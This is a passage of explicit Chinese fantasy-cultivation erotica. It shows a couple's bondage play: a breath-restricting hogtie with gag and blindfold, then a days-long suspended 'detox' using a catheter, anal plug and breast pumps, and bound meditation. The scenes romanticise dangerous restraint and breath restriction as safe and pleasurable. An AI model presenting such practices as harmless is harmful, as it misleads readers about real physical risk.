  许墨的腰腹处被绳索紧紧缠绕,勒出惊心动魄的细弧。最令人窒息的是她的双腿,被折叠起来与上半身紧密贴合,脚踝被拉向臀部,并通过绳索与反剪的手腕相连,使得她的身体被迫反弓成一个极致的、脆弱的环形。
  黑色的修身运动裤因为身体的极致弯曲和绳索的压迫,紧绷地包裹着每一寸肌肤,尤其臀腿处的曲线被无限强调,臀瓣被勒得微微分开,中间的缝隙和前方私密的三角区域在紧绷的布料下呈现出诱人的轮廓。踩脚袜包裹下的双足绷直,脚背弓起,犹如芭蕾舞者的终点姿态,却充满了受制于人的无力感。
  来自林烨的呆滞目光让许墨有些意外,又心中窃喜。她深吸了一口气,随后缓缓呼出,绳索深深嵌入身体,带来无处不在的压迫感。每一次吸气都需要更用力,胸腔的扩张被严格限制,这种轻微的窒息感奇异地混合着安全感与兴奋感让她欲罢不能,就连全身血液流通似乎也受到些许影响,肢体末端微微发麻发热。?极限的反弓姿势让她腰背、大腿的肌肉拉伸到了极致,酸胀感与一种奇异的舒爽感并存。过去训练出的柔韧性在此刻得到了完美的应用,身体记忆被唤醒,却又被赋予了完全不同的、并非神圣,而纯粹情色的目的。
  每一次细微的挣扎或颤抖,运动服光滑的面料都会与肌肤、与粗糙的绳缆产生摩擦。
  这种摩擦不仅刺激着皮肤表面,更仿佛直接撩拨着她的神经末梢。尤其是胸前、腰侧、大腿内侧这些敏感区域,布料因汗水而微微湿润,摩擦感变得更加清晰而磨人。?尽管穿着衣服,但这种极致的捆绑反而比赤裸更加暴露。身体的每一个起伏、每一处曲线都被绳索与布料褶皱强调和放大,毫无保留地呈现在林烨,自己的主人与夫君眼前任由其欣赏。
  一种巨大的、几乎令人眩晕的羞耻感席卷了她,脸颊、耳朵、脖颈乃至全身的皮肤都像着了火一样烫。这是她作为神女时绝不可能体验到的、属于“弱者”和“玩物”的羞耻。正是这份强烈的羞耻感,混合着身体被禁锢的无力感,催化出一种近乎堕落的、背德的快感。她在主动将自己物化,奉献给眼前这个男人随意赏玩。这种彻底放弃神女尊严、沉溺于纯粹感官体验的行为,让她感到一种前所未有的“自由”——从责任、身份、规训中解脱出来的,扭曲而极致的自由。
  然而这还未结束。许墨微微喘息着,脸颊潮红,眼神却亮得惊人,她轻声道:“老公……可否……再将最后的绳索收紧一些?让墨……让墨的脚能贴到后脑……”
  她的声音带着颤音,眼神迷离而渴望,仿佛在祈求更深的束缚与掌控。
  林烨深吸一口气,依言上前,找到那个关键的绳结,小心翼翼地用力收紧。随着绳索收缩,许墨的身体被进一步反弓,柔韧的腰肢展现出惊人的弧度,她咬着唇,发出一声压抑的闷哼:“嗯……!”
  许墨的身体瞬间绷紧如满弓。绳索更深地陷入肉里,带来更强烈的束缚感和轻微的痛楚。但伴随着痛楚的,是更强烈的、被填满般的奇异满足感。她努力反弓着身体,凭借着惊人的柔韧性,穿着踩脚袜的双足脚背绷得笔直,一点点,艰难地,终于触碰到了后脑勺。她的身体被彻底弯折成了一个完美的、充满窒息美感的圆环。这个姿势让她全身最私密、最柔弱的部位都毫无防备地凸显出来。
  “还……还有……”
  许墨的声音带着颤音,却充满了来自灵魂深处的渴望:“老公……可否……将墨的眼睛蒙上,嘴巴也塞住?然后……然后把墨当成……当成是您掳掠来的、不情愿的凡间民女……肆意……肆意把玩一番?”
  林烨点头,他在看到自缚后的许墨瞬间明白了。
  许墨此举,并非单纯的取悦。她是在通过这种极致的、带着些许屈辱感的角色扮演,来彻底宣泄被压抑了十余年的神女身份,是在用一种近乎自虐的方式,向过去的命运告别,体验一种绝对掌控与绝对服从下的“自由”与“疯狂”。
  他心中涌起一股复杂的怜惜与理解,郑重地点了点头:“好。”
  他取来柔软的布条,轻轻缠绕在许墨的双眼之上,在她脑后系紧,彻底剥夺了她的视觉。又拿起一块干净毛巾,揉成一团,小心地塞入她的口中。许墨顺从地张开嘴容纳,然后他用一截绳索勒过她的唇瓣,在脑后固定,防止毛巾吐出。
  这还未完,林烨将绳头向后拉,与她并拢捆绑的双脚大拇指系在一起。如此一来,许墨不得不更加用力地反弓身体,抬起头部,双脚绷直,以保持这个完美的、环形的、充满窒息感的驷马姿势。
  视觉被剥夺的瞬间,许墨的其他感官呈指数级放大。世界陷入一片黑暗,只剩下绳索的压迫感、身体悬空(被抱起)的失重感、以及……对即将到来的触碰的、令人心悸的期待。
  口中的毛巾塞得很满,唾液不受控制地分泌,却无法吞咽,只能发出呜咽声。勒口的绳索进一步加深了这种受控感。当最后的绳头将她的双脚大拇指与头部的束缚相连时,她不得不维持着这个极度反弓、头部抬起的姿势,颈部线条拉伸到极致,脆弱得仿佛一折就断。
  她被林烨抱起,放在石床上。冰冷的石面透过薄薄的运动服刺激着她的背部,与身体内部的燥热形成鲜明对比。
  此刻的许墨被彻底禁锢在自己的绳索与林烨的布置中,目不能视,口不能言,只能发出极其细微的、无助的“呜呜”声,全身的感知都集中在被捆绑的压迫感和对未知触碰的期待上。她微微颤抖着,像一只落入网中的美丽蝴蝶,脆弱而又极致地诱人。
  林烨俯身,轻松地将被捆绑得严严实实的许墨抱了起来。她的身体轻盈而柔软,因为极限的捆绑和紧张的期待而微微发热。他走到石床边,将她轻轻放下,然后自己坐在床边。
  他的目光贪婪地流连在这具被运动服和绳索共同塑造出的惊人胴体上。手掌,带着一丝微颤和滚烫的温度,缓缓落下。
  他先是隔着一层薄薄的T恤面料,握住了她胸前那对挺翘的丰盈。掌心能清晰地感受到那柔软的凸起和惊人的弹性。他或轻或重地揉捏着,指尖偶尔划过顶端的敏感,引得身下的娇躯一阵剧烈的颤抖,呜咽声也变得急促起来。
  手掌缓缓下滑,掠过被绳索勒得微微凹陷的腰腹,感受着那份紧绷与柔软交织的触感。隔着光滑的运动裤面料,他抚过她紧实平坦的小腹,感受其下的温热与微微的悸动。
  然后,他的手来到了那双被反折、与上半身紧紧束缚在一起的修长双腿。他沿着大腿外侧的曲线一路抚摸到被踩脚袜包裹的足踝,感受着布料下的光滑肌肤和紧绷的肌肉线条。他的手指甚至恶作剧般地轻轻搔刮了一下她的脚心,立刻感受到她全身猛地一弹,口中的呜咽带上了哀求的意味。
  他的抚摸时而温柔如羽拂,时而带着些许掌控般的力度,仿佛真的在审视一件珍贵的战利品。每一次触碰,都透过湿漉漉的衣料(之前的温泉水汽和此刻的汗水),清晰地传递到许墨被高度敏感的肌肤上。
  许墨的感官世界一片黑暗,却被无数倍的放大。每一次抚摸都像在她体内点燃一簇小小的火苗。捆绑带来的束缚感与轻微的痛楚,奇异地转化为了催情剂,让她更加敏感。羞耻、无助、渴望、以及一种难以言喻的、将身心完全交付于对方的安心感交织在一起,在她体内掀起惊涛骇浪。她能清晰地感受到林烨目光的灼热,和他手掌每一次流连所带来的战栗。陌生的快感如同潮水般一波波冲击着她的神经末梢,聚集在小腹深处,燃烧着,膨胀着。
  当林烨的手隔着一层汗湿的T恤握住她的胸脯时,许墨全身猛地一颤。布料摩擦乳尖带来的刺激远超想象。他的揉捏或轻或重,每一次按压都仿佛有电流直窜小腹。她能清晰地感觉到乳尖在他的掌下迅速变得硬挺、肿胀,甚至传来细微的、被摩擦的刺痛感,混合着滔天的快感,他的手掌下滑,掠过被绳索勒得最紧的腰腹。那里的皮肤本就敏感,加上压迫和轻微的缺氧,触摸带来的战栗感几乎让她尖叫(如果她能的话)。隔着运动裤,他抚摸她的大腿,感受着肌肉因紧张和兴奋而绷紧的线条,手指甚至划过腿根最柔嫩的地带,每一次不经意的触碰都让她内部剧烈地收缩、抽搐。
  当他的手掌最终覆盖在她最私密的核心时,许墨停止了思考。
  “呜呜——!”她的身体猛地向上弓起,又被绳索死死勒回,全身剧烈地痉挛起来,像一张拉满的弓。口中的呜咽变成了高亢却无法释放的哀鸣,被毛巾死死堵住。极致的快感如同闪电般击穿了她的意识,眼前即使被蒙住也仿佛炸开了无数绚烂的白光。高潮来得猛烈而持久,让她的大脑一片空白,仿佛魂魄都被这无与伦比的极致体验冲上了云霄,飘荡不定。
  男人厚实且温暖的手掌隔着早已湿润的、紧绷的运动裤面料,他手掌的热度和压力是如此清晰而残酷。她能感觉到那层薄布如何被她的蜜液浸湿,紧紧贴附在敏感的花瓣上。他的磨蹭、按压,甚至偶尔恶作剧般的轻微拍打,都像是直接作用于她最脆弱的神经之上。
  羞耻感、暴露感、被完全掌控的无力感、以及汹涌澎湃的生理快感,如同一浪又一浪的海啸般将她彻底淹没。她不再是神女,只是一个被欲望俘虏、正在被心上人肆意玩弄身体的普通女子,不,甚至更不堪,是一个被捆绑着、无法反抗的“玩物”!
  这种认知如同最烈的催情药,将她推向崩溃的边缘。她的身体开始无法控制地剧烈痉挛,被捆绑的四肢疯狂地挣扎,却只是让绳索更深地陷入肉里,带来更多混合着痛感的刺激。口中的呜咽变成了高亢而断续的哀鸣,被毛巾死死堵住,变成模糊而诱人的鼻音。高潮来得猛烈而彻底,如同山洪暴发。眼前炸开无尽的白光,即使被蒙住眼也无法阻挡。强烈的收缩从子宫深处迸发,席卷全身每一寸肌肉,每一根神经。热流不受控制地涌出,彻底浸湿了运动裤的那一小片区域,甚至可能沾染了林烨的手掌。那一刻,极致的快乐与极致的羞愧完美融合。她感觉自己像被抛上了云端,又像坠入了深渊。灵魂仿佛出窍,漂浮在空中,看着下方那具被红色绳索紧紧捆绑、不断颤抖、正因被玩弄而达到绝顶的娇躯——那是她,又不是她,是神女墨,是许墨,是林烨的鼎炉或道侣,更是一块被无情玩弄的香艳美肉。
  当高潮的余韵缓缓褪去,留下的是一片无尽的虚脱感和巨大的幸福浪潮。她被巨大的快感冲刷得干干净净,所有压抑、所有负担仿佛都随之流逝。泪水不受控制地从蒙眼布下涌出,是快乐的泪水,也是解脱的泪水。林烨为她解除束缚后,她软倒在他怀中,紧紧抱住他,仿佛他是狂风暴雨中唯一的港湾。将滚烫的脸颊埋入他的颈窝,低声地、放肆地啜泣着。身体还在轻微地痉挛,感受着高潮过后敏感的肌肤与衣物摩擦带来的细微战栗。
  她感到无比的羞愧,为自己竟从中如此放浪形骸的反应获得了无与伦比的快乐。
  但更多的是汹涌的幸福感将她的身心完全包裹。
  她终于可以不再是那个高高在上、必须断绝私欲,无念无想,连私密时刻自慰都不被允许的的神女,她可以脆弱,可以渴望,可以沉浸在感官的海洋中,可以拥有一个能让她如此失控、又如此安心的人。
  他小心翼翼地为她解开了蒙眼的布条和勒口绳,取出了口中湿漉漉的毛巾。许墨双眼迷离,瞳孔涣散,脸颊潮红未退,大口大口地呼吸着新鲜空气,仿佛刚从水里捞出来一样,全身都被汗水浸透了,运动服紧紧贴在身上,更显曲线诱人。
  他又耐心地、轻柔地解开了她身上那复杂而紧缚的红绳。绳索松开,露出下面被勒出的道道红痕,在白皙的肌肤上显得格外醒目,却又莫名增添了几分虐恋后的美感。
  刚一解脱,许墨便像是失去了所有力气软软地倒入林烨怀中,紧紧抱住了他。将滚烫的脸颊埋在他的颈窝里,身体还在微微颤抖着,低声啜泣起来。
  但这并非痛苦的哭泣,而是一种极度宣泄后的释放、一种难以言喻的幸福与安心感使然。
  林烨抱着怀中这具温香软玉、刚刚经历了一场别样“风暴”的娇躯,心中充满了怜爱与一种难以言喻的满足感。
  虽然过程有些怪异,进展快得超乎想象,但……
  他低头吻了吻许墨汗湿的发顶,心中狂喜的呐喊几乎要冲破天际:“这老婆……可玩性也太高了!老子真是……捡到绝世珍宝了啊!!!”
  番外:二 内视玄境,道契初成天然洞府内氤氲的灵雾与热泉蒸腾的蒸汽交织,让场景显得有些朦胧又更加凸显了其中那具被精心“处置”的胴体。
  许墨被悬吊在特制的檀香木拘束架上,姿势香艳。
  她的双腿自膝弯处被折叠向身体两侧大大打开,露出腿心最隐秘的幽谷;双臂则在背后并拢反剪,手腕被高高吊起,使得整个身体像一张拉满的弓,又像是被悬挂起来晾晒的、等待腌制的珍馐肉脯。由于重力作用,她全身的重量都寄托在几处关键的支撑束缚点上,深色的檀香木与她雪白的肌肤形成强烈对比,木架恰好皮肉,勒出饱满而诱人的弧度。
  许墨的腹部呈现出一种奇异的、饱胀的曲线。还是处子之身的她当然没有怀孕,只是一旁悬挂的灵壶正通过柔软的透明软管,将壶内翠绿色的洗髓液源源不断地泵入她的体内。
  软管连接一枚精心打磨的灵玉肛塞,其上铭刻着细密的符文,确保液体只进不出。这枚肛塞是林烨当着她的面用一块拳头大小、灵气盎然的上好灵石用牙齿打磨而成,过程大概是林烨将灵石用电钻从中间钻孔之后收住两边说道:“古有电钻吃玉米,看老公我给你表演一个电钻炫灵石!滋滋滋滋……”
  那火星四溅的画面看得许墨很是心惊,但好在肛塞打磨完成后外形圆润表面经过水磨抛光也很是柔滑,完全看不出这是林烨用门牙加电钻削出来的。
  顺带一提,光是这一枚灵玉肛塞的价值就足以买下一个人口上万的凡间小县城,这让许墨对仙凡殊途这一概念有了更加清晰的认知。
  只不过她过去作为神女那时候并未做过老公口中所说的“后庭开发”,只是下意识觉得这“幽阙镇元栓”,初次推入时有些许饱胀但完全送入之后体感温润,但随着腹内灌入洗髓液之后想要挤出却做不到,很是有趣。
  洞府中央的热泉汩汩涌出,缭绕上升的蒸汽正好拂过被悬吊的许墨全身。
  她光洁的肌肤上布满了细密的汗珠,这些汗液并非清澈,而是带着淡淡的褐色,散发着一丝微苦的气味。随着汗珠汇聚成流沿着身体的曲线滑落,最终滴入下方一个巨大的方形托盘中避免污染池水,插入她尿道乃至膀胱的纤细吸管中也时不时有浓褐色的尿液缓缓流出,接入另一个插着莲蓬头的洒水壶之中。
  她胸前的一对丰盈因为体内残留的药力被向外催发,原本就形状圆润的玉乳显得更加饱满挺翘,乳尖如成熟的樱桃般红润硬立。
  一对精致的吸奶器正牢牢吸附在上方,以极其缓慢但坚定不移的节奏,将乳头中渗出的、同样呈浓褐色的乳液一点点吸出,滴入下方小巧的玉瓶内。
  许墨的长发被汗水浸湿,黏在额角和脸颊旁,她的眼神有些迷离,显然在忍受着排毒过程带来的不适与莫名的感官刺激。在过去的三天里,林烨反复询问她能否撑得住,但如今的遭遇对许墨来说与其说是折磨,反倒像是持续三天的舒适享受罢了。
  不仅如此,她其实也有闲心和眼前端坐在水池旁边喝咖啡的林烨交谈解闷:“所以老公,”许墨的声音带着一丝腹部涨大导致的轻微喘息:“孔乙己最后究竟是怎样了呢?”
  她之前听林烨讲起这个“穿着长衫却站着喝酒”的奇怪读书人的故事,心中一直萦绕着淡淡的疑惑与怜悯。
  林烨啜饮一口杯中咖啡润润口,咂咂嘴,随意答道:“谁知道呢,作者没说,但大概是死了吧?或者从头到尾并没有孔乙己这个人,只是迅哥的杜撰也未必。”
  他的语气轻松,这个故事和他毫无关系,讲给许墨听也只是出于好玩。
  许墨低头沉思,被吊起的姿势让她这个动作显得有些艰难,随后她长长叹了一口气。
  林烨见状,放下杯子走到近前,伸手轻轻抚过她因汗湿而滑腻的大腿,关切地问道:“怎么,娘子无聊了?要下来休息一下吗?”
  他的指尖带着温热的灵力,拂过之处带来一阵微妙的战栗。
  许墨摇了摇头,绳索随之微微晃动:“老公不必担心。如今的洗髓相比于过去在寨中为保持形体、承受药力时的痛苦简直舒就是享受。”
  她顿了顿,语气坚定地继续说:“再者说,既然下定决心要一口气排除掉过去十几年错误药浴在体内积累的余毒,总要破釜沉舟一鼓作气,断断续续反而会前功尽弃。”
  林烨的手指滑到她微微隆起的腹部,轻轻按揉,帮助药力化开,同时问道:“那你为何叹气?”
  许墨感受着腹部的暖流,回答道:“叹气并非因为无聊。老公这三天以来自从墨被挂起来就一直陪着讲各光怪陆离的故事,墨一辈子没出过大山,听得已是心驰神往。只是……墨不禁感叹孔乙己的命运,又在想,这世间有万千资质平平的修士,每日为了提升修为殚精竭虑提心吊胆,过得还不如凡人,最终也和那孔乙己一样,落得个潦倒凄凉的下场。”
  林烨闻言点头微笑,指尖顺着她腹部优美的曲线下滑,食指中指捏住她的秘谷边缘轻轻揉搓向两侧分开,引得许墨一阵轻颤。
  他说道:“确实如此,但也没办法。修仙本就是逆天而行,资质、机缘、心性,缺一不可。平庸者众,登顶者寡,这才是天道常理。要听下一个故事么?”
  许墨感受到他作怪的手指,脸颊微红却并未抗拒,只是摇头道:“老公讲了三天,从墨睁眼开始直到睡着一直陪着,睡着时也时时刻刻盯着灵壶和管路,墨实在感激。但老公其实不必如此挂心,告诉墨几句心法口诀留在这里默念背诵,老公也该去休息一下了。”
  林烨哈哈大笑,收回手指,拍了拍她弹性十足的臀瓣:“傻墨宝儿,不要小瞧修士的元神强度哦~你老公我便是一年不睡觉都OK的!”
  随后他走上前,轻轻托起许墨一侧因吸附而更显饱满的乳房,仔细端详了一下乳尖的状态,然后取下了吸奶器。
  被禁锢在架子上的许墨有些害羞地别过脸去,却又忍不住用眼角余光瞥着林烨的动作。
  “乳色比昨天白了些,墨宝儿忍一下哦。”
  林烨柔声说着,轻轻捏住许墨的乳晕用指尖接住从那红肿乳头上缓缓渗出的一滴奶白色液体。那滴乳液起初还带着一丝褐色,但很快变得纯白。
  林烨将指尖上的乳滴送到眼前端详,又凑近鼻尖闻了闻,最后竟伸出舌头品尝了一下。
  许墨过去作为神女时采集体液早已是常态,但看着人当面把自己的体液吃下去还是头一回。
  “嗯……啧啧啧。”
  林烨若有所思地咂咂嘴,点点头,“药物余毒的苦涩味已经几乎尝不到了,杂质也稀少了很多,看来排毒接近尾声了。你体内的余毒大概再有一个时辰就应该能被彻底排干净,到时放你下来。”
  许墨闻言,眼中露出欣喜之色微笑道:“多谢老公费心。”
  随即她又面露难色,声音细若蚊蚋地说道:“老公……可否……可否也挤一下墨的另一侧乳房?过去在寨中……采液时每次都是两边同时进行,若只挤一侧,另一边实在是……胀得难受。”
  林烨看着她羞红的脸颊和眼中的恳求之色不由得失笑,心中暗叹这丫头在某些方面的坦诚和习惯真是刻到骨子里了。
  他依言用同样温和的动作,将许墨两侧乳房的残存奶水都挤了出来用咖啡杯直接接住。原本的纯黑的咖啡渐渐变成了浅棕色的质感。
  “咕嘟……咕嘟……咕嘟……”
  林烨仰头将许墨的奶冲出的“玉醴摩卡”一饮而尽,又用自己的马克杯冲洗一下用温水冲了一杯香甜醇厚的蜂蜜水插上吸管递到许墨嘴边。
  许墨顺从地小口啜饮着,甘甜温润的液体流入喉中带来一股暖流,也驱散了些许疲惫和不适。
  喂完蜜露之后,林烨搬来个石凳坐在许墨对面,神色也稍微正式了一些。
  “墨宝儿,你该知道修士入门的基础吧?”
  许墨点头,被吊着的姿势让她有些吃力,但仍清晰回答:“墨知道,是先锻体再练气,能够引气入体,就算是开始修行了。”
  林烨挠头“你这也太简略了。就像是把大象放进冰箱里一样……不过算了。”
  他正色问道:“你觉得自己现在是哪个阶段?”
  许墨毫不犹豫地回答:“墨不过是一介凡女而已,虽经训练,但并未正式修行过任何功法。”
  林烨却摇了摇头,说道:“错了错了。你现在其实已经算是踏入了练气期的门槛,只不过走的完全是野路子,修炼的方向错得离谱,要是用不太抽象的做菜给你类比,你现在虽然还不是意大利面拌42号混凝土,但抽象程度大概介于草莓饺子和蛤蟆蛋挞之间吧。”
  他语气带着调侃,但眼神认真。
  许墨有些傻眼,每次老公说“给你一个不太抽象的类比”的时候嘴里说出来的一定是自己听都听不懂的怪话。
  不过仔细回想自己过去,能模糊感应灵气,身体柔韧远超常人,似乎又有些道理,便点了点头表示明白。
  林烨继续解释:“你刚说的所谓心法口诀只是表象,是引导神识凝聚的工具,其本身内容实则没啥神秘意义。默念一万次《上清凝心诀》和默念一万次‘我是傻逼’对淬炼神识的效果都是一样的。”
  许墨听到这粗俗的比喻,忍不住噗嗤一笑,身体晃动,带动绳索摩擦肌肤,又是一阵细微的刺激。
  “不然呢,我从小就是这么练的,境界涨的蹭蹭的!”
  “啊?”
  林烨见她愣住便笑道:“墨宝,你困惑很正常。修行之路虚无缥缈,并没有一个清晰的‘进度条’给你盯着,大部分机缘巧合跳崖捡到奇妙秘籍的散修起步即为终点,大半辈子下来,可能连最基础的引气入体都很难真正稳定做到。”
  许墨收敛笑容,若有所思地点头:“墨似乎能理解。过去在拉伸形体、进行药浴时,偶尔确实似乎能与天地间的灵气产生一丝微弱的感应。但那感觉似有若无又飘忽不定,也抓不到规律更无法主动引导。”
  林烨说道:“嗯,没错。我之前当鸟那时观察你训练过程时就看出来了。能靠着那种野路子的呼吸吐纳和极限体式隐隐感应到灵气,你的天赋和根骨已经相当牛逼了。不过接下来既然有了老公我,你自然不必再担心这些。因为我会教你怎么去‘看’到那个进度条!”
  许墨的眼睛顿时亮了起来,被吊缚整整三个日夜的辛苦似乎也一扫而空,她有些迫切地追问:“请老公赐教!”
  林烨站起身走到她身边,检查尿管中尿液的色泽后回答:“所谓锻体,你的身体尤其是经脉经过十几年的‘特别训练’已经被那些药浴反复淬炼得相当坚韧宽阔,基础其实打得极好只是方向偏了,积攒了太多毒素。过一会结束排毒,你的身体就会回归纯正无垢之态不会留下隐患。但相比于钻牛角尖地去打坐冥想,你在真正开始深层次修行之前得学会‘内视’之法才是关键。”
  “内视?”
  许墨疑惑地重复道,“是什么?墨从未听过。”
  林烨此时注意到尿管中流出的液体已经变得清澈透明,点了点头。
  他笑着解释道:“内视,顾名思义就是观察自身内部的情况。这本是金丹级别及以上修士才能稳定掌握的技巧,但其本身原理并不复杂。”
  林烨伸手握住许墨的乳房随意把玩,经过半个多月的朝夕相处和日日紧缚玩耍,他的神经已经强悍了不少,不会再因为许墨的裸体化身阳巨道人了。
  “刚入门的初级修士只要能有金丹期以上的长辈愿意出手帮助其暂时联通识海,也能通过‘内视’看到自身的经络、灵气流转和丹田汇聚情况,从而清晰地判断自己的修炼境界和瓶颈所在,而不是像个无头苍蝇一样出去随便找个修士问‘你瞅我啥境界?’然后和人打一架来验证道姓行实力。”
  “老公,墨有些好奇不会真有那样的修士吧?”
  “有的,有的。”
  林烨一边开始准备取下她身上的各种装置,一边补充道:“不过这种借助外力的内视需要通过密切的肌肤接触来联通双方的经络灵力,过程中神识交织极为凶险。因此往往只在血脉至亲的家族长辈与晚辈,或者性命相交、绝对信任的朋友或道侣之间进行。这里面如果有一方动机不纯心怀歹意,轻则神识受损重则可能被对方控制心神甚至夺舍,那可就出大事了。”
  “墨明白了。”
  他顿了顿,脸上露出促狭的笑容:“比如我当年还是筑基期的时候那个刚晋升元婴期的老爹自觉牛逼轰轰可以支棱起来非要给我内视指导,结果被我瞅准机会塞了一部名为《二女一杯》的黑超梦到他的识海里循环播放了一天一夜……嘿嘿嘿,搞得他那一整天拿头撞墙边撞边吐,好玩得很。”
  许墨听得目瞪口呆,虽然完全不明白《二女一杯》是何等恐怖之物,但能让一位元婴修士如此失态想必是世间最可怕的东西无疑了。
  她心中默默将这个名字标记为绝不可触碰的禁忌,同时也恍然大悟,难怪老公这般人物会被赶出家门当散修,没被打死都已经是万幸了。
  就在她心中暗自感叹时,林烨已经动作麻利地取出了尿管和灵玉肛塞,将最后排出的些许废液仔细收集起来,倒进一旁一个散发着灵气的花盆中。
  随后,他解开拘束架的机关将整个架子连同上面的许墨一起沉入旁边的热泉中,快速浸泡一下洗去汗渍和残留药液又立刻捞出。
  檀香木架自动打开,林烨一把抱住浑身湿透、软绵绵的许墨,用早已准备好的宽大柔软毛巾将她紧紧裹住,抱到了一张铺着柔软兽皮的石床上。
  “感觉怎么样?我的墨宝儿。”
  林烨轻轻擦着她湿漉漉的头发,眼神满是关切。
  许墨躺在柔软的兽皮上长长地舒了一口气,虽然身体因为长时间的吊缚固定有些酸麻,但一种前所未有的轻松感弥漫开来,仿佛卸下了千斤重担。
  她抓住林烨的手,眼中闪烁着激动和期待的光芒:“老公,墨感觉很好,从未有过的轻松!不如现在就直接开始内视吧?”
  林烨看着她急切的样子,宠溺地刮了下她的鼻子:“刚解脱就这么大劲头?也好,趁热打铁。”
  一个时辰之后。
  林烨哭笑不得地看着石床上,正努力摆出标准五心朝天式打坐姿势却浑身冒虚汗脸色茫然一无所获的许墨。
  许墨裸身盘坐,试图凝神静气引导那若有若无的灵气,但越是急切越是不得要领反而弄得心神疲惫。
  她睁开眼,欲哭无泪地看向林烨:“老公……墨是不是太笨了?”
  林烨上前用毛巾帮她擦汗:“墨宝儿别灰心,打坐冥想并不局限于这一种僵硬的姿势。你的天赋根骨是我亲自验证过的,绝对没问题!可能是这个姿势让你不习惯,试试换一个你觉得最舒服、最放松的姿势。”
  许墨眨了眨眼,有些茫然:“最舒服的姿势?那……老公一般是用怎样的姿势冥想呢?”
  林烨摸了摸下巴,眼神飘忽了一下说道:“我啊?我一开上泥头车就会进入冥想状态。”
  许墨:“……啊?”
  林烨挥挥手:“别在意这些细节。总之我见过有躺着的、趴着的、倒立着冥想的,甚至还有一边练剑一边冥想的家伙。修行之道存乎一心,形式并不重要。你现在刚刚完成洗髓,身体处于最纯净放松的状态,所以放心大胆尝试找到最适合你的那个‘点’就好。”
  许墨似懂非懂地点了点头。她环顾了一下洞府,又低头看了看自己的身体,回想起过去十几年的经历。
  忽然,她眼中闪过一丝明悟。她挣扎着从标准的打坐姿势起身,然后跪坐在林烨面前,深吸一口气,开始动作。
  她分开双腿,然后缓缓将身体向后反折,腰部展现出惊人的柔韧性,头部从大腿之间伸出来,双臂也灵活地反转身前,自然而然地形成了一个极其熟悉、却在此刻显得无比自然的姿势——正是她在磐石寨被献祭时的那种极限三折叠“猎牲缚”姿势。
  只不过这一次,没有绳索的强制束缚,完全是她主动做出的动作,显得更加流畅和……和谐。
  林烨看得愣了一下,但他敏锐地察觉到许墨这次做出这个姿势从头到尾都非常轻松,呼吸平顺,脸上也没有半分痛苦的表情,反而有一种奇异的安宁感。
  “老公……”
  许墨的声音因为姿势的缘故显得有些闷;“墨……墨想用这个姿势试试看。不知为何,这样……让墨觉得很安心。”
  林烨嘴角微微抽搐,但还是点头道:“额……行吧你开心就好。只要有效果,啥姿势都行。”
  许墨于是维持着三折叠姿势闭上了眼睛,尝试再次凝神感应。
  过了一小会儿,林烨敏锐地察觉到许墨周身的灵气开始出现了极其细微的、但确实是被主动调动的趋势!虽然只是短短一瞬就消散了,但比起之前标准打坐时的一潭死水已是天壤之别。
  许墨也感觉到了那瞬间的不同,她睁开眼,语气带着兴奋和一丝羞赧:“老公!墨似乎找到了些许法门!说来惭愧……墨感觉,若是能……能像那日献祭时一样,被绳索或其他束具将这个三折之式拘束禁锢起来,并且封闭眼、耳、口,或许……或许更能帮助墨集中精神,隔绝外扰,进入状态。至于……阴窍封不封,则全看老公喜欢。”
  她越说声音越小,脸颊绯红,但眼神却异常认真,显然这并非情欲之辞,而是真实的身心感受。
  林烨这次是真的惊讶了:“不是吧?你玩真的啊?这……这算是特殊修行癖好吗?”
  他虽然喜好此道,但将之与正经修行如此直接结合还是头一次遇到。
  林烨摸着下巴思索了片刻,回想起许墨过去的经历,以及她刚才主动做出三折叠姿势后灵气的变化,心中暗道:莫非这孩子的修行天赋真的与这种极致的身体约束状态有关?当实验出现成功迹象时,最重要的就是控制变量重复验证!
  “好!既然有效果那咱们就试试!”
  林烨不再犹豫,从储物法器中取出一卷近乎透明却坚韧无比的天蚕丝绷带卷。
  他手法娴熟而轻柔,按照许墨的描述用天蚕丝缎带将她重新紧缚成标准的三折叠“猎牲缚”姿态。紧缚并非为了惩罚,而是为了提供稳定紧密的支撑和约束,每一道绳络都恰到好处地固定住关节和关键肌肉群,既不会造成痛苦又让她无法自行挣脱,彻底沉浸在那种被包裹的安全感中。
  随后他又取来特制的纯黑眼罩,仔细罩住许墨的双眼,用软蜡封住双耳,再用一个柔软的口球塞入她口中,并用细绳固定在后脑。
  至此,许墨的五窍被基本封闭,只剩下双鼻维持着平稳的呼吸。
  她的世界陷入一片黑暗与寂静,所有的感知都被迫向内收敛。
  被如此紧密束缚和感官剥夺的许墨仿佛又变成了一颗人肉圆球,被林烨小心翼翼地安置在石床中央。
  这一次,奇迹发生了。
  几乎就在林烨完成所有束缚的瞬间,许墨周身的气息就发生了明显的变化!
  洞府内浓郁的灵气开始如同受到牵引般缓缓向她汇聚,随着她腹部极其细微但富有韵律的起伏被自然而然地吸入体内。
  她的呼吸变得悠长而平稳,显然已经进入了深度的冥想状态!
  林烨感受到这稳定却又大量的灵气波动心中又惊又喜:“卧槽!还真行?!这算什么?限定加成?还是专属修行外挂?”
  他强压下吐槽的欲望,仔细感知着许墨的状态,确认她并非勉强而是真正进入了物我两忘的修行佳境。
  “看来对于墨宝儿来说,这种极致的束缚和感官剥夺非但不是阻碍,反而是一种帮助她斩断外缘专注内心的‘法门’?真是大千世界无奇不有……”
  林烨啧啧称奇,同时也坚定了信念:既然有效,那就这么办!至于姿势怪异?在修仙界,能提升修为的方法就是好方法,谁管你姿势好不好看!更何况这姿其实势好看的很!
  不过,接下来要进行内视就需要他主动介入了。
  常规来说,内视时需要双方肌肤相触,灵力通过接触点联通,神识才能顺势融入对方识海进行引导,最常见的办法莫过于面对面打坐之后十指相扣把手握在一起。
  然而眼下的状况就有些复杂,林烨对着眼前这个被捆得严严实实、像个精致肉球似的三折叠许墨比划了半天,也没找到合适的“接入点”。
  后背、手臂、腿脚都被绳索覆盖,看似全身经络节点都被完全展示出来,但自己却难以稳定接触。
  他挠着头,围着许墨转了几圈,目光最终落在了许墨此刻身体最顶端、也是唯一暴露在外、且因为折叠姿势而微微绽开的部位——那一对肥嘟嘟、肉乎乎、因为轻微充血而显得格外娇艳的阴唇上。
  “这……倒是个天然的灵气交汇点,接近丹田和经脉核心区域……”
  林烨摸了摸下巴,眼神变得有些古怪。
  “而且,似乎……也挺合适的?”
  他思来想去,似乎没有比这更直接有效的连接点了。
  于是,他不再犹豫。俯下身对着那朵微微颤动的粉嫩幽谷之花,轻轻地吻了上去。
